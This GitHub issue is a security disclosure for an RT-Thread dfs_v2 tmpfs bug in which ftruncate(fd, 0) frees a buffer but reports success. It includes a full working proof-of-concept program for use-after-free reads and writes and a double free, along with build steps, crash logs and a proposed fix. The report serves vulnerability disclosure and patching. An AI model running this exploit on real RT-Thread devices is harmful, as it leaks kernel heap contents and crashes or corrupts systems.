Skip to content

[Bug] dfs_v2 tmpfs: ftruncate(fd, 0) frees the file buffer but reports success — use-after-free read/write and double free from a legal POSIX call #11902

Open

Description

@XueDugu

[Bug] dfs_v2 tmpfs: ftruncate(fd, 0) frees the file buffer but reports success — use-after-free read/write and double free from a legal POSIX call

RT-Thread Version: master (v5.4.0-dev, verified unfixed on 2026-10-20); introduced by commit 75b4f3d83a473c761fb1b08e6f1e08284d944d57 (2023-09-20, PR #8063); first affected release v5.0.2 — v5.0.2 / v5.1.0 / v5.2.0 / v5.2.1 / v5.2.2 / v5.3.0 / master all affected (verified by reading the file at each tag).

Affected area: Filesystem (components/dfs — dfs_v2 + tmpfs)

Hardware-BSP vendor: Other

Architecture: all (any config with RT_USING_DFS_V2 + RT_USING_DFS_TMPFS); reproduced on aarch64 (QEMU virt, RT-Smart) and Cortex-M33 (RP2350)

Board and hardware details:

  1. QEMU qemu-virt64-aarch64, RT_USING_SMART + RT_USING_DFS_V2 + RT_USING_DFS_TMPFS, tmpfs mounted, ELF rootfs on elm/FAT (virtio-blk).
  2. Raspberry Pi Pico 2 W (RP2350): pico-sdk application linking the unmodified RT-Thread kernel + dfs_v2 + tmpfs sources, USB CDC console.

Develop Toolchain: GCC (official CI aarch64-linux-musleabi gcc 7.3.0 kernel build; arm-none-eabi 10.3 for RP2350)

Describe the bug

dfs_tmpfs_truncate() (components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c, added in commit 75b4f3d) does:

ptr = rt_realloc(d_file->data, offset);
if (ptr == RT_NULL)
{
    rt_set_errno(-ENOMEM);
    return 0;          /* <-- reports SUCCESS */
}

rt_realloc(ptr, 0) is specified by both RT-Thread heap backends to free the block and return NULL:

  • rt_memheap_realloc() (src/memheap.c): if (newsize == 0) { rt_memheap_free(ptr); return RT_NULL; }
  • rt_smem_realloc() (src/mem.c): else if (newsize == 0) { rt_smem_free(rmem); return RT_NULL; }

So the completely legal call ftruncate(fd, 0) on a tmpfs file that has data:

  1. frees d_file->data,
  2. returns 0 (success) to the application,
  3. leaves d_file->data dangling and d_file->size / vnode->size stale.

Every subsequent operation on the file operates on freed kernel heap memory:

  • read() → memcpy(buf, &d_file->data[pos]) — kernel heap UAF read (info disclosure, incl. allocator metadata);
  • write() → memcpy(d_file->data + pos, buf, len) — kernel heap UAF write;
  • unlink() / close(O_TRUNC) / open(O_TRUNC) — second rt_free() of the same chunk (double free);
  • with RT_USING_PAGECACHE (default y under RT_USING_SMART), close() flushes the dirty page and deterministically data-aborts the kernel in dfs_aspace_flush() (dfs_pcache.c:1733) because aspace->vnode has been corrupted by the UAF write.

Reproduction 1 — QEMU, RT-Smart, unprivileged user process, only official syscalls

Build bsp/qemu-virt64-aarch64 with RT_USING_SMART + RT_USING_DFS_TMPFS (page cache default on), FAT rootfs. The freestanding user program below (raw svc, no libc) mounts tmpfs at a pre-created /tmp2 directory, then exercises the bug. Boot, then:

msh /> sys_log 1
msh /> /ftrunc_uaf.elf
[poc] mount(/tmp2, tmp) ret = 0x0
[poc] open(/tmp2/a) fd = 3
[poc] write(A pattern) n = 0x800
[poc] control ftruncate(fd,4096) ret = 0x0
[poc] ftruncate(fd,0) ret = 0x0                    <- returns success, buffer freed
[poc] UAF read n = 0x40
[poc] leaked0: 5b 70 6f 63 5d 20 66 74 72 75 6e 63 61 74 65 28   <- "[poc] ftruncat(e("
[poc] open(/tmp2/b) fd = 4
[poc] write(B pattern) n = 0x800
[poc] UAF write via fd_a n = 0x11                  <- console output garbles right after:
                                                       the write corrupted a live kernel object
exception info: Data abort, fault addr 0x68
  dfs_aspace_flush   dfs_pcache.c:1733             <- triggered by close(fd) from user mode
  dfs_file_close     dfs_file.c:978
  dfs_fdtable_drop_fd dfs.c:764
  close              dfs_posix.c:295
  sys_close          lwp_syscall.c:760
  _SVC_Handler       lwp_gcc.S:177
  => deterministic whole-kernel abort from one close()

The leaked bytes "[poc] ftruncat(e(" are the contents of the freed chunk after the kernel reused it for another live object (sys_log's copy buffer).

Control run (same program without the zero-length truncate): read returns the real file content ("AaAa..."), close/unlink are clean, system stays alive and later msh commands work.

GDB hardware-watchpoint evidence (break on dfs_tmpfs_truncate(offset==0), watch d_file->data = 0xffff00000029b6b0): the first write into the freed chunk comes from sys_log() -> lwp_get_from_user(dst = <freed chunk>) — the kernel has already reallocated the freed chunk while tmpfs still holds the dangling pointer; later watch hits show the UAF write mangling that live object. Full transcript: dfs_tmpfs_truncate(file=..., offset=0) backtrace sys_ftruncate -> ftruncate -> dfs_file_ftruncate, watchpoint Old/New values per hit.

Reproduction 2 — real hardware (Raspberry Pi Pico 2 W, RP2350, Cortex-M33)

A pico-sdk application links the unmodified RT-Thread kernel + dfs_v2 + tmpfs sources (kernel-mode, kernel heap via RT_USING_SMALL_MEM_AS_HEAP) and runs a small shell over USB CDC. The trigger is the same dfs_poc sequence (mount tmpfs → open → write → ftruncate(fd,0) → read/write through the dangling fd):

dfs_poc
dfs_poc: tmpfs mounted at /dev
dfs_poc: wrote 512 bytes of AaAa pattern
dfs_poc: control ftruncate(fd,512) ret=0
dfs_poc: ftruncate(fd,0) ret=0  <- returns success
dfs_poc: read after truncate returned 64 bytes: 00 00 00 00 00 00 00 00 00 00 00 00 20 43 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
dfs_poc: write via dangling fd ret=17 (heap corruption)

20 43 00 20 (little-endian 0x20004320) is a small_mem free-list pointer: after ftruncate(fd,0) "succeeded", read() served 64 bytes of the freed chunk's allocator metadata to the caller — a kernel heap address disclosure — and the following write() stored 17 attacker bytes through the dangling pointer.

dfs_poc kill (adds unlink() = second free of the same chunk, then 16 same-size allocations):

dfs_poc: kill mode: unlink -> second free of same chunk
[

Console output stops mid-line during the spray: the double-freed chunk corrupts the free list and the subsequent allocations destroy the kernel output path itself. The board has to be power-cycled.

Expected result

ftruncate(fd, 0) must truncate the file to zero length and return 0 while keeping all internal state consistent: a subsequent read() returns 0 bytes, a write() starts a fresh allocation, and unlink()/close() free the buffer exactly once. An allocation failure must be reported as -ENOMEM, never as success. A fixed build prints read-after-truncate returned 0 bytes.

Full PoC (reproduction 1, self-contained)

/*
 * RT-Thread dfs_v2 tmpfs ftruncate(0) UAF PoC — freestanding RT-Smart user program.
 *
 * Bug (V1): dfs_tmpfs_truncate() (components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c)
 *   calls rt_realloc(d_file->data, 0). Both RT-Thread heap backends implement
 *   realloc(ptr, 0) as **free(ptr) + return NULL** (src/memheap.c rt_memheap_realloc,
 *   src/mem.c rt_smem_realloc). The NULL return is then treated as an allocation
 *   failure: the function returns 0 (= success!) while d_file->data is left
 *   dangling and d_file->size / vnode->size keep the old value.
 *   => any later read()/write()/unlink()/close() on the file operates on freed
 *      kernel heap memory: UAF read (info leak), UAF write (heap corruption),
 *      double free.
 *
 * Trigger is the perfectly legal POSIX call ftruncate(fd, 0).
 *
 * This program (unprivileged user process) does:
 *   1. mount tmpfs at /tmp2                      (svc 176, product boot-script equivalent)
 *   2. create /tmp2/a and fill it with a pattern (kernel heap buffer allocated)
 *   3. ftruncate(fd_a, 0) -> returns 0            [BUG: data freed, sizes stale]
 *   4. [leak]   read back via pread-equivalent lseek+read -> freed-chunk contents
 *              (memheap free-list pointers) instead of the old pattern
 *   5. [alias write] create /tmp2/b of the same size (reuses the freed chunk),
 *              write through dangling fd_a, read fd_b -> foreign file modified
 *   6. control: ftruncate(fd, 4096) grow path + normal IO still works, system alive
 *
 * Build: aarch64-linux-musleabi-gcc -nostdlib -static -no-pie -nostartfiles \
 *          -T lwp_poc.ld -O2 -ffreestanding -o ftrunc_uaf.elf ftrunc_uaf.c
 * Load : msh /> /ftrunc_uaf.elf          (requires: sys_log 1)
 */

typedef unsigned long u64;
typedef long          s64;
typedef unsigned int  u32;

static inline u64 sys_call7(u64 n, u64 a, u64 b, u64 c, u64 d, u64 e, u64 f)
{
    register u64 x8 __asm__("x8") = n;
    register u64 x0 __asm__("x0") = a;
    register u64 x1 __asm__("x1") = b;
    register u64 x2 __asm__("x2") = c;
    register u64 x3 __asm__("x3") = d;
    register u64 x4 __asm__("x4") = e;
    register u64 x5 __asm__("x5") = f;
    __asm__ volatile("svc #0"
                     : "+r"(x0)
                     : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5)
                     : "memory", "cc");
    return x0;
}

/* numbers verified against func_table[] in the built rtthread.elf */
#define SYS_exit        1
#define SYS_read        2
#define SYS_write       3
#define SYS_lseek       4
#define SYS_open        5
#define SYS_close       6
#define SYS_unlink      118
#define SYS_mount       176
#define SYS_ftruncate   201
#define SYS_log         0xff

#define O_RDWR     0x00000002
#define O_CREAT    0x00000040
#define O_TRUNC    0x00000200
#define SEEK_SET   0

static int slen(const char *s) { int n = 0; while (s[n]) n++; return n; }
static void klog(const char *s) { sys_call7(SYS_log, (u64)s, slen(s), 0, 0, 0, 0); }

static char g_buf[160];
static void klog_hex(const char *tag, const void *data, int len)
{
    const unsigned char *d = data;
    for (int off = 0; off < len; off += 16)
    {
        char *p = g_buf;
        while (*tag) *p++ = *tag++;
        *p++ = '0' + (off / 16 % 10); *p++ = ':'; *p++ = ' ';
        for (int i = 0; i < 16 && off + i < len; i++)
        {
            u32 b = d[off + i];
            *p++ = "0123456789abcdef"[b >> 4];
            *p++ = "0123456789abcdef"[b & 0xf];
            *p++ = ' ';
        }
        *p = 0;
        klog(g_buf);
        tag = "";
    }
}
static void klog_val(const char *tag, u64 v)
{
    char *p = g_buf;
    while (*tag) *p++ = *tag++;
    *p++ = '0'; *p++ = 'x';
    for (int i = 15; i >= 0; i--)
    {
        u32 nib = (v >> (i * 4)) & 0xf;
        *p++ = nib < 10 ? '0' + nib : 'a' + nib - 10;
    }
    *p = 0;
    klog(g_buf);
}

#define FILE_A "/tmp2/a"
#define FILE_B "/tmp2/b"
#define BUFSZ  0x800          /* chunk size kept identical for allocator reuse */

static char pat_a[BUFSZ];
static char pat_b[BUFSZ];
static char rbuf[BUFSZ];

static void fill(char *buf, char c0, char c1)
{
    for (int i = 0; i < BUFSZ; i++) buf[i] = (i & 1) ? c1 : c0;
}

void _start(void)
{
    klog("[poc] dfs_v2 tmpfs ftruncate(0) UAF PoC start");

    /* 1. mount tmpfs at /tmp2 (mountpoint dir pre-created in rootfs image) */
    s64 m = (s64)sys_call7(SYS_mount, (u64)"tmp", (u64)"/tmp2", (u64)"tmp", 0, 0, 0);
    klog_val("[poc] mount(/tmp2, tmp) ret = ", (u64)m);

    /* 2. create file A with pattern -> kernel heap alloc for d_file->data */
    fill(pat_a, 'A', 'a');
    s64 fda = (s64)sys_call7(SYS_open, (u64)FILE_A, O_RDWR | O_CREAT, 0666, 0, 0, 0);
    klog_val("[poc] open(" FILE_A ") fd = ", (u64)fda);
    if (fda < 0) goto out;

    s64 n = (s64)sys_call7(SYS_write, fda, (u64)pat_a, BUFSZ, 0, 0, 0);
    klog_val("[poc] write(A pattern) n = ", (u64)n);

    /* control: ftruncate grow (non-zero) keeps working */
    s64 cg = (s64)sys_call7(SYS_ftruncate, fda, 0x1000, 0, 0, 0, 0);
    klog_val("[poc] control ftruncate(fd,4096) ret = ", (u64)cg);

    /* 3. THE BUG: ftruncate(fd, 0) — legal POSIX truncation */
    s64 r = (s64)sys_call7(SYS_ftruncate, fda, 0, 0, 0, 0, 0);
    klog_val("[poc] ftruncate(fd,0) ret = ", (u64)r);

    /* 4. UAF READ: sizes are stale, so the kernel happily memcpy's from the
     *    freed chunk: first 16 bytes are memheap freelist pointers, not 'A'/'a'. */
    sys_call7(SYS_lseek, fda, 0, SEEK_SET, 0, 0, 0);
    for (int i = 0; i < 64; i++) rbuf[i] = '.';
    n = (s64)sys_call7(SYS_read, fda, (u64)rbuf, 64, 0, 0, 0);
    klog_val("[poc] UAF read n = ", (u64)n);
    klog_hex("[poc] leaked", rbuf, 64);

    /* 5. UAF WRITE via alias: file B of the same size reuses the freed chunk */
    fill(pat_b, 'B', 'b');
    s64 fdb = (s64)sys_call7(SYS_open, (u64)FILE_B, O_RDWR | O_CREAT, 0666, 0, 0, 0);
    klog_val("[poc] open(" FILE_B ") fd = ", (u64)fdb);
    n = (s64)sys_call7(SYS_write, fdb, (u64)pat_b, BUFSZ, 0, 0, 0);
    klog_val("[poc] write(B pattern) n = ", (u64)n);

    /* write through the DANGLING file A onto (very likely) B's live buffer */
    static const char magic[] = "P0WNED-UAF-WRITE!";
    sys_call7(SYS_lseek, fda, 0, SEEK_SET, 0, 0, 0);
    n = (s64)sys_call7(SYS_write, fda, (u64)magic, sizeof(magic) - 1, 0, 0, 0);
    klog_val("[poc] UAF write via fd_a n = ", (u64)n);

    /* read B back through ITS fd: if it shows the magic, the freed A buffer
     * aliases B's live kernel heap buffer (cross-object corruption) */
    sys_call7(SYS_lseek, fdb, 0, SEEK_SET, 0, 0, 0);
    n = (s64)sys_call7(SYS_read, fdb, (u64)rbuf, 32, 0, 0, 0);
    klog_val("[poc] readback fd_b n = ", (u64)n);
    klog_hex("[poc] fd_b[0..32)", rbuf, 32);
    {
        const char *q = rbuf;
        int hit = 1;
        for (u32 i = 0; i < sizeof(magic) - 1; i++)
            if (q[i] != magic[i]) { hit = 0; break; }
        klog(hit ? "[poc] RESULT: UAF write crossed onto file B -> heap alias CONFIRMED"
                 : "[poc] RESULT: fd_b unchanged this round (allocator did not reuse; see GDB run)");
    }

    /* leave system alive: this is the non-destructive demo run.
     * double-free/crash variant is ftrunc_df.elf (same steps + unlink). */

    sys_call7(SYS_close, fda, 0, 0, 0, 0, 0);
    sys_call7(SYS_close, fdb, 0, 0, 0, 0, 0);
    klog("[poc] control: system still alive (msh returns normally)");
out:
    sys_call7(SYS_exit, 0, 0, 0, 0, 0, 0);
    for (;;) ;
}

Build (official CI toolchain for RT-Smart userland):

aarch64-linux-musleabi-gcc -nostdlib -static -no-pie -nostartfiles \
    -T lwp_poc.ld -O2 -ffreestanding -o ftrunc_uaf.elf ftrunc_uaf.c

with lwp_poc.ld placing the image in the RT-Smart user range:

OUTPUT_ARCH(aarch64)
ENTRY(_start)
SECTIONS
{
    . = 0x10000000;
    .text : { KEEP(*(.text.first)) *(.text .text.*) }
    .rodata : { *(.rodata .rodata.*) }
    .data : { *(.data .data.*) }
    .bss : { *(.bss .bss.*) *(COMMON) }
    /DISCARD/ : { *(.comment) *(.note*) *(.eh_frame*) }
}

Reproduction-2 harness notes (RP2350): pico-sdk owns startup/clocks/USB CDC; the RT-Thread side needs RT_USING_SMALL_MEM_AS_HEAP (otherwise the system heap macros expand empty and rt_malloc silently returns NULL), the tmpfs root mount point must keep dentry paths slashed (mount at /dev, not /), and the OS tick must come from a pico-sdk hardware alarm (add_repeating_timer_ms → rt_tick_increase) because the Cortex-M SysTick exception is never taken in this pico-sdk crt0 environment. The trigger function is the same dfs_poc() sequence shown in the log above (mount, open, write 512-byte pattern, ftruncate(fd,0), read/write through the fd, unlink).

Root cause / suggested fix

static int dfs_tmpfs_truncate(struct dfs_file *file, off_t offset)
{
    ...
    if (offset < 0) return -EINVAL;
    if (offset == 0)                 /* explicit clear */
    {
        if (d_file->data) { rt_free(d_file->data); d_file->data = RT_NULL; }
        d_file->size = 0;
        file->vnode->size = 0;
        /* drop cached pages if RT_USING_PAGECACHE */
        return 0;
    }
    ptr = rt_realloc(d_file->data, offset);
    if (ptr == RT_NULL) return -ENOMEM;   /* propagate failure, NOT 0 */
    ...
}

Also worth reviewing the same rt_realloc(ptr, 0) pattern across the tree, and adding a negative-length check in dfs_file_ftruncate().

Other additional context

  • Severity: CVSS 3.1 8.6 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — CWE-416 (UAF), CWE-415 (double free). Prerequisites (explicit): RT_USING_DFS_V2 + RT_USING_DFS_TMPFS with a mounted tmpfs (the documented way to provide /tmp); the attacker can execute code — an unprivileged user process under RT-Smart (reproduced) or any kernel-mode application/msh script. No malformed arguments: ftruncate(fd, 0) is the standard way to empty a file. Confirmed information disclosure (kernel heap contents incl. free-list pointers) and heap corruption primitives on both QEMU/RT-Smart and real hardware; deterministic kernel abort via close().
  • Not related to [Security] pread() with a large negative offset bypasses rw_verify_area() causing OOB heap read in tmpfs (info leak / crash) #11737 (pread negative offset): different root cause (realloc(0) semantics misuse vs. offset validation), different trigger (a legal call vs. a malformed argument), different CWE.
  • Introduced by 75b4f3d8 (PR dfs_v2 tmpfs adds truncate functionality and unlink adaptations #8063, "tmpfs adds truncate functionality and unlink adaptations"); verified present and unfixed on master as of 2026-10-20.

Activity

  1. github-actions commented on Oct 19, 2026

    @github-actions

    如需认领并处理此 Issue,请评论 /claim。

    To claim and work on this issue, comment /claim.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions